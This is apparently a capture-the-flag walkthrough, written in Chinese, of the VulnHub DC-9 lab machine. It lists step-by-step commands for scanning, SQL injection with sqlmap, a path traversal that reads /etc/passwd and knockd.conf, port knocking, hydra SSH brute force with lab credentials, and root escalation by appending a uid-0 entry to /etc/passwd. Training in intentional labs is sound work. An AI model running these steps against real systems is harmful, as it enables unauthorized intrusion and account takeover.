vulnhub系列:DC-9
一、信息收集
nmap扫描存活,根据mac地址寻找IP
nmap 192.168.23.0/24

nmap扫描IP 端口等信息
nmap 192.168.23.144 -p- -sV -Pn -O

访问80端口

dirsearch目录扫描
python3 dirsearch.py -u http://192.168.23.144/

页面查看,发现搜索框

发现登录框

sqlmap 工具跑一下,搜索框存在sql注入

库名

users下表名

UserDetails下字段

爆数据

登录框尝试,发现无法登录
爆一下另一个数据库Staff
表名

字段

数据

得到admin账号、密码,将密码进行md5解密
transorbital1

登录admin账户

发现多了一个add record功能
之后没什么发现,拼接一下目录扫描的文件,也没什么发现
看到页面中显示文件不存在,可能存在文件包含,尝试在当前url路径拼接
?file=../../../../..//etc/passwd

一些报告提到hnockd服务
敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来"关门",将端口关闭,不对外监听,进一步提升了服务和系统的安全性
默认配置文件
/etc/knockd.conf
通过文件包含查看其内容

根据文档,依次进行"敲门"
nmap 192.168.23.144 -p 7469
nmap 192.168.23.144 -p 8475
nmap 192.168.23.144 -p 9842

再次扫描端口发现ssh服务已开启

二、getshell
将之前sql注入时得到的账号写入user.txt文件,密码写入pass.txt文件,使用hydra工具进行爆破
hydra -L user.txt -P pass.txt 192.168.23.144 ssh
得到以下结果
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee

依次进行ssh连接
账号1
ssh [email protected]
UrAG0D!
没东西

账号2
ssh [email protected]
Passw0rd
也没东西

账号3
ssh [email protected]
Ilovepeepee
发现多了一个目录

进入目录查看,发现存在几个密码

将其写入到 pass.txt 中,再次爆破,得到一个新的账号密码
hydra -L user.txt -P pass.txt 192.168.23.144 ssh
fredf:B4-Tru3-001

三、提权
ssh 连接 fredf 用户,连接成功

查看当前目录没什么发现,查看当前权限
sudo -l

看到 /opt/devstuff/dist/test/test 能以 root 权限执行,进入目录,test 文件查看是乱码,在 /opt/devstuff 下发现 test.py

查看文件内容

是一个脚本文件,生成一个用户,用root权限执行,将用户写入到 /etc/passwd 中
kali 执行命令
openssl passwd -1 -salt dc9 123456

回到 /opt/devstuff/dist/test/ 目录,将账号密码写入 /tmp/dc9,再执行 test,将其写入到 /etc/passwd
echo 'dc9:$1$dc9$3Qf9B8VT49B741CMh3R4m1:0:0::/root:/bin/bash' >> /tmp/dc9
sudo ./test /tmp/dc9 /etc/passwd

切换用户到 dc9,提权成功
su dc9
123456

在 root 目录下,发现 theflag.txt,结束
